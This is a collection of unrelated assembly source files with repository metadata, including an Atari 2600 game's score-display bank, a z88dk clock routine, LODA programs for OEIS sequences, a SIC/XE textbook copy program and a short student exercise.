source/mcbank4.asm
PaulSlocum/marble-craze
559c73c898d3a5e2d6548ae67f0f077b282372ab
[ "MIT" ]
null
null
null
source/mcbank4.asm
PaulSlocum/marble-craze
559c73c898d3a5e2d6548ae67f0f077b282372ab
[ "MIT" ]
null
null
null
; Marble Craze bank 4 ;------------------------------ ; Includes: ; ; - Score/Status display kernal and data ; - In-game Song #1 ;------------------------------ org $4000 rorg $1000 include mcdigit.asm pfDigitRef1 byte 0,5,10,15, 20,25,30,20, 0,20,0,0, 0,0,0,0 byte 35,40,45,50, 55,60,65,55, 35,55,0,0, 0,0,0,0 byte 70,75,80,85, 90,95,100,90, 70,90,0,0, 0,0,0,0 byte 105,110,115,120, 125,130,135,125, 105,125,0,0, 0,0,0,0 byte 140,145,150,155, 160,165,170,160, 140,160,0,0, 0,0,0,0 byte 175,180,185,190, 195,200,205,195, 175,195,0,0, 0,0,0,0 byte 210,215,220,225, 230,235,240,230, 210,230,0,0, 0,0,0,0 byte 140,145,150,155, 160,165,170,160, 140,160,0,0, 0,0,0,0 byte 0,5,10,15, 20,25,30,20, 0,20,0,0, 0,0,0,0 byte 140,145,150,155, 160,165,170,160, 140,160,0,0, 0,0,0,0 byte %00000000 byte %00000000 byte %00000000 byte %00000000 byte %00000000 byte %00000000 livesDisplay byte %00000000 byte %00100000 byte %00100000 byte %00100000 byte %00100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 byte %10100000 statusOffset byte 0,20,40,60,80,100,120,140,160,180,200,220 negConvert byte 0,255,254,253,252 align 256;----------------------------------------- ALIGN 256 statusText ; Nothing byte 0,0,0,0 byte 0,0,0,0 byte 0,0,0,0 byte 0,0,0,0 byte 0,0,0,0 ;+20PTS byte %00100011, %11000111, %00011100, %11100111 byte %00100000, %00101000, %10010010, %01001000 byte %11111001, %11001000, %10011100, %01000110 byte %00100010, %00001000, %10010000, %01000001 byte %00100011, %11100111, %00010000, %01001110 ;+50PTS byte %00100011, %11100111, %00011100, %11100111 byte %00100010, %00001000, %10010010, %01001000 byte %11111011, %11001000, %10011100, %01000110 byte %00100000, %00101000, %10010000, %01000001 byte %00100011, %11000111, %00010000, %01001110 ;+100PTS byte %00100010, %01100011, %00011100, %11100111 byte %00100010, %10010100, %10010010, %01001000 byte %11111010, %10010100, %10011100, %01000110 byte %00100010, %10010100, %10010000, %01000001 byte %00100010, %01100011, %00010000, %01001110 ;+5SEC byte %00100011, %11100000, %11101110, %01110000 byte %00100010, %00000001, %00001000, %10000000 byte %11111011, %11000000, %11001100, %10000000 byte %00100000, %00100000, %00101000, %10000000 byte %00100011, %11000001, %11001110, %01110000 ;+10SEC byte %00100010, %01100000, %11101110, %01110000 byte %00100010, %10010001, %00001000, %10000000 byte %11111010, %10010000, %11001100, %10000000 byte %00100010, %10010000, %00101000, %10000000 byte %00100010, %01100001, %11001110, %01110000 ;+20SEC byte %00100011, %00011000, %11101110, %01110000 byte %00100000, %10100101, %00001000, %10000000 byte %11111001, %00100100, %11001100, %10000000 byte %00100010, %00100100, %00101000, %10000000 byte %00100011, %10011001, %11001110, %01110000 ;WALLS byte %10001001, %10010001, %00001110, %00000000 byte %10001010, %01010001, %00010000, %00000000 byte %10101011, %11010001, %00001100, %00000000 byte %10101010, %01010001, %00000010, %00000000 byte %01010010, %01011101, %11011100, %00000000 ; GAMEOVER byte %01110010, %01101101, %10010010, %10110110 byte %10000101, %01010101, %00101010, %10100101 byte %10110111, %01010101, %10101010, %10110110 byte %10010101, %01000101, %00101010, %10100101 byte %01100101, %01000101, %10010001, %00110101 ; PAUSE byte %00000001, %10001001, %01001101, %11000000 byte %00000001, %01010101, %01010001, %00000000 byte %00000001, %10011101, %01001001, %10000000 byte %00000001, %00010101, %01000101, %00000000 byte %00000001, %00010100, %10011001, %11000000 ; TIME UP byte %00011101, %01101101, %10000101, %01100000 byte %00001001, %01010101, %00000101, %01010000 byte %00001001, %01010101, %10000101, %01100000 byte %00001001, %01000101, %00000101, %01000000 byte %00001001, %01000101, %10000010, %01000000 ;-------------------------------------------------- align 256 ;----------------------------------------- ALIGN 256 ;1UP byte %00000010, %10010111, %00000000, %00000000 byte %00000010, %10010100, %10000000, %00000000 byte %00000010, %10010111, %00000000, %00000000 byte %00000010, %10010100, %00000000, %00000000 byte %00000010, %01100100, %00000000, %00000000 ;KEY byte %01111000, %00000000, %00000000, %00000000 byte %10000100, %00000000, %00000000, %00000000 byte %10000111, %11111111, %00000000, %00000000 byte %10000100, %00011011, %00000000, %00000000 byte %01111000, %00011011, %00000000, %00000000 ;STOP byte %00000000, %11011111, %01100111, %00000000 byte %00000001, %00000100, %10010100, %10000000 byte %00000000, %10000100, %10010111, %00000000 byte %00000000, %01000100, %10010100, %00000000 byte %00000001, %10000100, %01100100, %00000000 ;ZAP byte %00000010, %01111011, %11011011, %01000000 byte %00000000, %10000010, %00010101, %00000000 byte %00000110, %10011011, %00010101, %01100000 byte %00000000, %10001010, %00010001, %00000000 byte %00000010, %01110011, %11010001, %01000000 ;LIGHTS byte %00001000, %01001110, %10010111, %11001110 byte %00001000, %01010000, %10010001, %00010000 byte %00001000, %01010110, %11110001, %00001100 byte %00001000, %01010010, %10010001, %00000010 byte %00001111, %01001100, %10010001, %00011100 ;WARP byte %00000010, %00100110, %01110011, %10000000 byte %00000010, %00101001, %01001010, %01000000 byte %00000010, %10101111, %01110011, %10000000 byte %00000010, %10101001, %01010010, %00000000 byte %00000001, %01001001, %01001010, %00000000 ;RIGHT byte %00000000, %00000000, %11000000, %00000000 byte %00000000, %00000000, %11110000, %00000000 byte %00000000, %11111111, %11111100, %00000000 byte %00000000, %00000000, %11110000, %00000000 byte %00000000, %00000000, %11000000, %00000000 ;UP byte %00000000, %00000001, %00000000, %00000000 byte %00000000, %00000011, %10000000, %00000000 byte %00000000, %00000111, %11000000, %00000000 byte %00000000, %00000001, %00000000, %00000000 byte %00000000, %00000001, %00000000, %00000000 ; GAMEOVER byte %01110010, %01101101, %10010010, %10110110 byte %10000101, %01010101, %00101010, %10100101 byte %10110111, %01010101, %10101010, %10110110 byte %10010101, %01000101, %00101010, %10100101 byte %01100101, %01000101, %10010001, %00110101 ; PAUSE byte %00000001, %10001001, %01001101, %11000000 byte %00000001, %01010101, %01010001, %00000000 byte %00000001, %10011101, %01001001, %10000000 byte %00000001, %00010101, %01000101, %00000000 byte %00000001, %00010100, %10011001, %11000000 ; TIME UP byte %00011101, %01101101, %10000101, %01100000 byte %00001001, %01010101, %00000101, %01010000 byte %00001001, %01010101, %10000101, %01100000 byte %00001001, %01000101, %00000101, %01000000 byte %00001001, %01000101, %10000010, %01000000 ; align 256 ;========================================================================== ; ; displayText ; ;-------------------------------------------------------------------------- ; This is part of the drawScore function. ; ; This part of the status kernal is located at the beginning ; of this bank since it's sensitive to page boundaries ;========================================================================== displayText ;-------------set up text to display lda frame and #1 tay ; default to blank display ldx #0 ; Set up test pointers stx pfBuffer lda #>statusText sta pfBuffer+1 lda p1Lives,y and #$F0 beq noPowerUpDisplay bpl useFirstPage inc pfBuffer+1 useFirstPage lsr lsr lsr lsr and #%00000111 tax noPowerUpDisplay lda level and #ENDGAME bne endStatusCheck lda titleOptions and #%01000000 beq checkGODisplay ; Pause ldx #9 jmp endStatusCheck checkGODisplay lda p1Status,y cmp #GAMEOVER bne notGameOver1 ; "GAMEOVER" ldx #8 jmp endStatusCheck notGameOver1 cmp #TIMEUP bne endStatusCheck ldx #10 endStatusCheck ;------------------------------------- sta WSYNC lda statusOffset,x tay clc adc #20 sta temp2 lda #STATUSCOLOR sta COLUP0 sta COLUP1 ;------------------------------------------------ ; Draw LEFT player status/powerup info ;------------------------------------------------ lda frame and #1 beq drawLeftSide jmp drawRightSide drawLeftSide sta RESP0 sta RESP1 lda #STATUSCOLOR sta COLUP0 sta COLUP1 lda #%01010000 sta HMP0 lda #%01100000 sta HMP1 lda #1 sta NUSIZ0 sta NUSIZ1 lda (pfBuffer),y sta GRP0 sta WSYNC sta HMOVE lda temp ; waste 3 cycles iLoop1 iny lda (pfBuffer),y sta GRP1 iny lda (pfBuffer),y tax iny lda (pfBuffer),y stx GRP0 sta GRP1 iny lda (pfBuffer),y sta GRP0 sta WSYNC cpy temp2 bne iLoop1 lda #0 sta GRP0 sta GRP1 jmp rtnDrawScore ; align 64 ;------------------------------------------------ ; Draw RIGHT player status/powerup info ;------------------------------------------------ drawRightSide lda #%00110000 sta HMP0 lda #%01000000 sta HMP1 lda #1 sta NUSIZ0 sta NUSIZ1 nop nop nop sta RESP0 sta RESP1 sta WSYNC sta HMOVE lda temp iLoop2 lda (pfBuffer),y sta GRP0 iny lda (pfBuffer),y sta GRP1 iny lda (pfBuffer),y tax iny lda (pfBuffer),y iny nop nop nop nop nop nop nop nop stx GRP0 sta GRP1 STA WSYNC cpy temp2 bne iLoop2 lda #0 sta GRP0 sta GRP1 jmp rtnDrawScore grpDigitRef1 byte 0,3,6,6, 9,6,6,12, 6,15,0,0, 0,0,0,0 byte 18,21,24,24, 27,24,24,30, 24,33,0,0, 0,0,0,0 byte 36,39,42,42, 45,42,42,48, 42,51,0,0, 0,0,0,0 byte 36,39,42,42, 45,42,42,48, 42,51,0,0, 0,0,0,0 byte 54,57,60,60, 63,60,60,66, 60,69,0,0, 0,0,0,0 byte 36,39,42,42, 45,42,42,48, 42,51,0,0, 0,0,0,0 byte 36,39,42,42, 45,42,42,48, 42,51,0,0, 0,0,0,0 byte 72,75,78,78, 81,78,78,84, 78,87,0,0, 0,0,0,0 byte 36,39,42,42, 45,42,42,48, 42,51,0,0, 0,0,0,0 byte 90,93,96,96, 99,96,96,102, 96,105,0,0, 0,0,0,0 marbleFrame byte 0,4,0,2 marbleFallingFrame byte 8,8,8,6 ;========================================================================== ; ; Draw Score ; ;========================================================================== drawScore ;pfBuffer+0, pfBuffer+1 ;2,3 ;4,5 ;6,7 ; p1 grp ;pMarble equ pfBuffer + 8; 2 bytes ;temp3 equ $FE ; p2 grp ;pMarble2 equ pMarble + 2; 2 bytes ;temp4 equ $FF ; set up player 1 score lda #>pfDigits1 sta pfBuffer+1 sta pfBuffer+5 lda #>pfDigits2 sta pfBuffer+3 sta pfBuffer+7 ldy p1ScoreH ;3 lda pfDigitRef1,y sta pfBuffer+0 lda grpDigitRef1,y tay ldx p1ScoreL lda grpDigitRef1,x tax lda grpDigits1,y ora grpDigits2,x sta ENAM0 and #%01111101 sta GRP0 lda grpDigits1+1,y ora grpDigits2+1,x sta pMarble+1 lda grpDigits1+2,y ora grpDigits2+2,x sta temp3 ldy p1ScoreL ;3 lda pfDigitRef1,y sta pfBuffer+2 ; set up player 2 score ldy p2ScoreH ;3 lda pfDigitRef1,y sta pfBuffer+4 lda grpDigitRef1,y tay ldx p2ScoreL lda grpDigitRef1,x tax lda grpDigits1,y ora grpDigits2,x sta ENAM1 and #%01111101 sta GRP1 lda grpDigits1+1,y ora grpDigits2+1,x sta pMarble2+1 lda grpDigits1+2,y ora grpDigits2+2,x sta temp4 ldy p2ScoreL ;3 lda pfDigitRef1,y sta pfBuffer+6 ; lda pMarble ; sta ENAM0 ; and #%01111101 ; sta GRP0 lda #%00100111 sta NUSIZ0 sta NUSIZ1 lda #0 sta COLUP0 sta COLUP1 sta CTRLPF ; Set score color ldx #$0F lda level cmp #255 bne notTitle3 ; Dim score in title screen ldx #$04 notTitle3 STX COLUPF stx ENABL sta HMCLR lda #%01110000 sta HMM0 sta HMM1 ; if title screen is active, don't show ball (divider line) lda level cmp #255 bne notTitle2 lda #0 sta ENABL notTitle2 lda p1Lives and #$0F sta pMarble lda p2Lives and #$0F sta pMarble2 lda pMarble2 tax lda livesDisplay,x sta temp5 lda pMarble tax lda livesDisplay,x ;4 sta PF0 ;3 ; ***************** Wait for Timer ****************** ; Wait for timer timer2 LDA INTIM BNE timer2 ;Loops until the timer is done - that means we're ;somewhere in the last line of vertical blank. STA WSYNC ;End the current scanline - the last line of VBLANK. STA VBLANK ;End the VBLANK period. The TIA will display stuff ;starting with the next scanline. We do have 23 cycles ;of horizontal blank before it displays anything. ; Score Kernal ------------------------------------- ldy #0 lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 lda temp5 sta PF0 ; lda pMarble2 ; sta ENAM1 ; and #%01111101 ; sta GRP1 nop nop nop nop lda temp ; waste 3 cycles lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y sta PF2 iny lda #%01001001 sta GRP0 lda #255 sta ENAM0 ;-------------- sta WSYNC lda #0 ;2 sta PF0 ;3 lda (pfBuffer+0),y ;5 sta PF1 ;3 lda (pfBuffer+2),y ;5 sta PF2 ;3 ldx pMarble2 lda livesDisplay-1,x sta temp5 ldx pMarble lda #%01001001 ;2 sta GRP1 ;3 lda #255 ;2 sta ENAM1 ;3 lda (pfBuffer+4),y ;5 sta PF1 ;3 lda (pfBuffer+6),y ;5 sta PF2 ;3 ; iny lda #%01001001 ;2 sta GRP0 ;3 lda #255 ;2 sta ENAM0 ;3 ;-------------- sta WSYNC lda livesDisplay-1,x ;4 sta PF0 ;3 lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 ; nop ; nop ; nop lda temp5 sta PF0 lda #%01001001 sta GRP1 lda #255 sta ENAM1 lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y sta PF2 iny lda pMarble+1 sta ENAM0 and #%01111101 sta GRP0 lda #0 ;----------------- sta WSYNC sta PF0 lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 ldx pMarble2 lda livesDisplay-2,x sta temp5 ldx pMarble lda pMarble2+1 sta ENAM1 and #%01111101 sta GRP1 lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y sta PF2 iny lda #%01001001 sta GRP0 lda #255 sta ENAM0 ;--------------- sta WSYNC lda livesDisplay-2,x ;4 sta PF0 ;3 lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 lda temp5 sta PF0 lda #%01001001 sta GRP1 lda #255 sta ENAM1 lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y sta PF2 lda #%01001001 sta GRP0 lda #255 sta ENAM0 lda #0 ;--------------- sta WSYNC sta PF0 lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 ldx pMarble2 lda livesDisplay-3,x sta temp5 ldx pMarble lda #%01001001 sta GRP1 lda #255 sta ENAM1 lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y sta PF2 iny lda temp3 sta ENAM0 and #%01111101 sta GRP0 ;71 ;---------------- ;sta WSYNC lda livesDisplay-3,x ;4 sta PF0 ;3 lda (pfBuffer+0),y ;6 sta PF1 ;3 lda (pfBuffer+2),y ;6 sta PF2 ;3 ; Start setting up timer display ldx p1TimeH ;3 ;ldx #$25 lda pfDigitRef1,x ;4 sta pfBuffer+0 ;3 lda temp5 sta PF0 lda temp4 ;3 sta ENAM1 ;3 and #%01111101 ;2 sta GRP1 ;3 lda (pfBuffer+4),y ;6 sta PF1 ;3 lda (pfBuffer+6),y ;6 sta PF2 ;3 = 53 ; Start setting up timer display lda grpDigitRef1,x ;4 tay ;2 ;---------- end of score display lda p1TimeL ;3 sta WSYNC sta HMOVE and #$0F tax lda grpDigitRef1,x ;4 tax ;2 ;----------------------------------------------------------------- ; Draw Timers ;----------------------------------------------------------------- lda #0 sta PF0 sta PF1 sta PF2 sta GRP0 sta GRP1 sta ENAM0 sta ENAM1 lda #%00010111 sta NUSIZ0 sta NUSIZ1 ; Timers lda #>pfDigits3 sta pfBuffer+3 sta pfBuffer+7 lda #%11000000 sta HMP0 sta HMP1 lda #%01010000 sta HMM0 sta HMM1 ;sta COLUBK lda grpDigits1,y asl ora grpDigits3,x ; sta pMarble and #%11111101 sta GRP0 lda grpDigits1+1,y asl ora grpDigits3+1,x sta pMarble+1 lda grpDigits1+2,y asl ora grpDigits3+2,x sta temp3 lda level cmp #255 bne notTitleScreen jmp rtnTitleScore notTitleScreen lda p1TimeL ;3 and #$0F tay lda pfDigitRef1,y sta pfBuffer+2 ; set up player 2 score ldy p2TimeH ;3 lda pfDigitRef1,y sta pfBuffer+4 lda grpDigitRef1,y tay lda p2TimeL and #$0F tax lda grpDigitRef1,x tax lda grpDigits1,y asl ora grpDigits3,x sta pMarble2 lda grpDigits1+1,y asl ora grpDigits3+1,x sta pMarble2+1 lda grpDigits1+2,y asl ora grpDigits3+2,x sta temp4 lda p2TimeL ;3 and #$0F tay lda pfDigitRef1,y sta pfBuffer+6 lda #TIMECOLOR sta COLUPF sta WSYNC sta HMOVE ldx #$0F sta ENAM0 sta ENAM1 ; Timer Kernal ------------------------------------- ldy #0 lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 ; nop nop lda pMarble2 nop and #%11111101 sta GRP1 stx COLUPF lda (pfBuffer+4),y sta PF1 lda #TIMECOLOR sta COLUPF lda (pfBuffer+6),y sta PF2 iny lda #%10010001 sta GRP0 ;-------------- sta WSYNC lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 nop nop nop lda #%10010001 sta GRP1 lda #255 nop lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y stx COLUPF sta PF2 lda #TIMECOLOR sta COLUPF lda #%10010001 sta GRP0 ;-------------- sta WSYNC lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 nop nop nop lda #%10010001 sta GRP1 lda #255 nop lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y stx COLUPF sta PF2 lda #TIMECOLOR sta COLUPF iny lda pMarble+1 and #%11111101 sta GRP0 ;----------------- sta WSYNC lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 nop nop nop lda pMarble2+1 nop and #%11111101 sta GRP1 lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y stx COLUPF sta PF2 lda #TIMECOLOR sta COLUPF iny lda #%10010001 sta GRP0 lda #255 ;--------------- sta WSYNC lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 nop nop nop lda #%10010001 sta GRP1 lda #255 nop lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y stx COLUPF sta PF2 lda #TIMECOLOR sta COLUPF lda #%10010001 sta GRP0 ;--------------- sta WSYNC lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 nop nop nop lda #%10010001 sta GRP1 lda #255 nop lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y stx COLUPF sta PF2 lda #TIMECOLOR sta COLUPF iny lda temp3 and #%11111101 sta GRP0 ;---------------- sta WSYNC lda (pfBuffer+0),y sta PF1 lda (pfBuffer+2),y sta PF2 nop nop nop lda temp4 nop and #%11111101 sta GRP1 lda (pfBuffer+4),y sta PF1 lda (pfBuffer+6),y stx COLUPF sta PF2 lda #TIMECOLOR sta COLUPF ;---------- last one lda #0 sta ENAM0 sta GRP0 ldx #$0F sta WSYNC stx COLUPF sta PF1 sta PF2 sta GRP1 sta ENAM1 ;------------------------------------------------------------------ ; Set Up Marble Shape Pointers ;------------------------------------------------------------------- ; Set up P0 (Left Player) ; Make it flash if it's in falloff/startup mode lda p1Status cmp #GAMEOVER beq noMarble lda p1Status cmp #FASTFLASH beq fastFlash and #FLASH and frame beq draw1 bne noMarble fastFlash lda #4 and frame beq draw1 noMarble ; Draw it off screen lda #>marbleData3 sta pMarble+1 lda #99 sta pMarble jmp noOffset draw1 ; Draw it normally lda #>marbleData2 sta pMarble+1 lda p1y sta pMarble ; For vertical values >100 a different page of image data is used cmp #100 bmi noOffset sbc #64 sta pMarble ;3 lda #>marbleData3 sta pMarble+1 noOffset ; Set up P1 (Right Player) ; Make it flash if it's in falloff/startup mode lda p2Status cmp #GAMEOVER beq noMarble2 lda p2Status cmp #FASTFLASH beq fastFlash2 and #FLASH and frame beq draw2 bne noMarble2 fastFlash2 lda #4 and frame beq draw2 noMarble2 ; Draw it off screen lda #>marbleData3 sta pMarble2+1 lda #99 sta pMarble2 jmp noOffset2 draw2 ; Draw it normally lda #>marbleData2 sta pMarble2+1 lda p2y sta pMarble2 ; For vertical values >100 a different page of image data is used cmp #100 bmi noOffset2 sbc #64 sta pMarble2 ;3 lda #>marbleData3 sta pMarble2+1 noOffset2 nop nop nop lda p1Counter ;3 lsr ;2 lsr ;2 lsr ;2 tay ;2 ;------------------------------- Alternate Marble Shapes lda p1Status cmp #FALLOFF sta WSYNC bne showRotation1 lda p1Counter and #16 beq clearMarble1 ; lda p1Counter ;3 ; lsr ;2 ; lsr ;2 ; lsr ;2 ; tay ;2 lda marbleFallingFrame,y clc adc pMarble+1 sta pMarble+1 jmp shape2 clearMarble1 ; Draw it off screen lda #>marbleData3 sta pMarble+1 lda #99 sta pMarble jmp shape2 showRotation1 ; Show rotation 1 lda p1y sbc p1x and #%00011000 lsr lsr lsr tay lda marbleFrame,y clc adc pMarble+1 sta pMarble+1 ;------------------- right player shape shape2 lda p2Status cmp #FALLOFF bne showRotation2 lda p2Counter and #16 beq clearMarble2 lda p2Counter lsr lsr lsr tay lda marbleFallingFrame,y clc adc pMarble2+1 sta pMarble2+1 jmp endShape clearMarble2 ; Draw it off screen lda #>marbleData3 sta pMarble2+1 lda #99 sta pMarble2 jmp endShape showRotation2 ; Show rotation 2 lda p2y sbc p2x and #%00011000 lsr lsr lsr tay lda marbleFrame,y clc adc pMarble2+1 sta pMarble2+1 endShape ; the rest of the status kernal is located at the beginning ; of this bank since it's sensitive to page boundaries jmp displayText include mcsong.asm ;========================================================================== ; ; readPattern2 caller ; ;-------------------------------------------------------------------------- ; I had to move part of the song pattern to bank 8 to ; fit the first song in here. ;========================================================================== org $4F80 rorg $1F80 callReadPattern2 stx BANK8 nop nop nop nop nop nop jmp rtnCallReadPattern2 ;========================================================================== ; ; songPlayer caller ; ;-------------------------------------------------------------------------- ; call function then switch back to bank 2. ;========================================================================== org $4FB3 rorg $1FB3 jmp songPlayer rtnSongPlayer stx BANK2 ;========================================================================== ; ; readPattern1 caller ; ;-------------------------------------------------------------------------- ; I had to move part of the song pattern to bank 8 to ; fit the first song in here. ;========================================================================== org $4FC0 rorg $1FC0 callReadPattern1 stx BANK8 nop nop nop nop nop nop jmp rtnCallReadPattern1 ;========================================================================== ; ; drawScore caller ; ;-------------------------------------------------------------------------- ; call function then switch back to bank 1. ;========================================================================== org $4FD3 rorg $1FD3 jmp drawScore rtnDrawScore stx BANK3 ;========================================================================== ; ; titleScore caller ; ;-------------------------------------------------------------------------- ; call function then switch back to bank 3. ;========================================================================== org $4FE3 rorg $1FE3 jmp drawScore rtnTitleScore stx BANK3 ;========================================================================== ; ; The cart may start up in this bank. Make sure it switches ; back to bank 2 on startup. ; ;========================================================================== org $4FED rorg $1FED sta BANK2 ; switch to bank 2 (3 bytes) org $4FFC ; Program startup vector .word $1FED .word $1FED
14.535583
75
0.603385
580c444ff2782462790ba35717d52c55aed1d0b1
183
asm
Assembly
libsrc/time/pacman/clock.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/time/pacman/clock.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/time/pacman/clock.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; PacMan clock() ; ; Stefano 2017 ; ; ------ ; $Id:$ ; SECTION code_clib PUBLIC clock PUBLIC _clock EXTERN FRAMES .clock ._clock ld hl,(FRAMES) ld de,(FRAMES+2) ret
9.15
25
0.601093
00ce37ed9b307f4d394153dd30167dcf8efbd638
85
asm
Assembly
base.asm
wbrbr/clink
30f1b5d923806b3eb99201fd80bdd7b29231055e
[ "MIT" ]
null
null
null
base.asm
wbrbr/clink
30f1b5d923806b3eb99201fd80bdd7b29231055e
[ "MIT" ]
null
null
null
base.asm
wbrbr/clink
30f1b5d923806b3eb99201fd80bdd7b29231055e
[ "MIT" ]
null
null
null
BITS 64 section .text global _start _start: mov bl, 42 xor eax, eax inc eax int 0x80
9.444444
13
0.752941
24eba8cb2fc2485422c29f2c26dcac7872886ca6
566
asm
Assembly
oeis/141/A141563.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/141/A141563.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/141/A141563.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A141563: Primes of the form 2*3*5*7*n+79. ; Submitted by Christian Krause ; 79,499,709,919,1129,1549,1759,2179,2389,3019,3229,4909,5119,5749,6379,7219,7639,8059,8269,8689,9109,9319,9739,9949,10159,10369,10789,11839,12049,12889,13099,13309,13729,14149,14779,15199,15619,16249,16879 mov $1,18 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 add $3,6 mul $3,3 add $3,6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,35 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,3 sub $0,80
21.769231
206
0.664311
cb7d4363e1c8f1c5cc93f8ec4e6ef4ae810c5869
1,068
asm
Assembly
test-programs/page58.asm
travcunn/sic_assembler
b1746ad172343dad5269daa5aae97fb0225664a2
[ "MIT" ]
2
2017-11-12T12:13:07.000Z
2019-04-26T18:00:38.000Z
test-programs/page58.asm
travcunn/sic_assembler
b1746ad172343dad5269daa5aae97fb0225664a2
[ "MIT" ]
null
null
null
test-programs/page58.asm
travcunn/sic_assembler
b1746ad172343dad5269daa5aae97fb0225664a2
[ "MIT" ]
null
null
null
COPY START 0 FIRST STL RETADR LDB #LENGTH BASE LENGTH CLOOP +JSUB RDREC LDA LENGTH COMP #0 JEQ ENDFIL +JSUB WRREC J CLOOP ENDFIL LDA EOF STA BUFFER LDA #3 STA LENGTH +JSUB WRREC J @RETADR EOF BYTE C'EOF' RETADR RESW 1 LENGTH RESW 1 BUFFER RESB 4096 . . SUBROUTINE TO READ RECORD INTO BUFFER . RDREC CLEAR X CLEAR A CLEAR S +LDT #4096 RLOOP TD INPUT JEQ RLOOP RD INPUT COMPR A,S JEQ EXIT STCH BUFFER,X TIXR T JLT RLOOP EXIT STX LENGTH RSUB INPUT BYTE X'F1' . . SUBROUTINE TO WRITE RECORD FROM BUFFER . WRREC CLEAR X LDT LENGTH WLOOP TD OUTPUT JEQ WLOOP LDCH BUFFER,X WD OUTPUT TIXR T JLT WLOOP RSUB OUTPUT BYTE X'05' END FIRST
20.150943
46
0.448502
4e8b0f799b9a5e021cb5b5dbce21b1f4b0ba79dc
642
asm
Assembly
oeis/082/A082150.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/082/A082150.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/082/A082150.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A082150: A transform of C(n,2). ; Submitted by Christian Krause ; 0,0,1,9,60,360,2040,11088,58240,297216,1480320,7223040,34636800,163657728,763549696,3523645440,16107110400,73016672256,328570011648,1468890021888,6528375193600,28862235279360,126993714118656,556353148944384,2427722252943360,10555312884940800,45739686441779200,197595439539683328,851180342256599040,3656922924671041536,15672526761634037760,67013562580095467520,285924533408786022400,1217485109431766089728,5174311713880267554816,21951625450269871964160,92971590136907798937600 mov $1,2 pow $1,$0 bin $0,2 mov $2,4 mul $2,$0 mul $0,$1 add $0,$2 mul $1,$0 mov $0,$1 div $0,32
42.8
477
0.838006
42bda1777358147abe99ce32aaf33f13f7525c62
366
asm
Assembly
Assignment-1/Q2/funcB.asm
Ritwick01/OS-Assignments
c1d110083130129c11f8e9f60cc2a070f9dc6170
[ "MIT" ]
null
null
null
Assignment-1/Q2/funcB.asm
Ritwick01/OS-Assignments
c1d110083130129c11f8e9f60cc2a070f9dc6170
[ "MIT" ]
null
null
null
Assignment-1/Q2/funcB.asm
Ritwick01/OS-Assignments
c1d110083130129c11f8e9f60cc2a070f9dc6170
[ "MIT" ]
null
null
null
section .bss storage resb 8 section .data text_new db "Presently in Function B", 10 section .text ;Code Segment global funcB extern hello funcB: mov [storage], rdi mov rax, 1 mov rdi, 1 mov rsi, text_new mov rdx, 25 syscall mov rax, 1 mov rdi, 1 mov rsi, storage mov rdx, 8 syscall push hello ret
13.555556
44
0.60929
cf6f18eb7ad078cb1beab435d39020b80b09480f
611
asm
Assembly
oeis/098/A098156.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/098/A098156.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
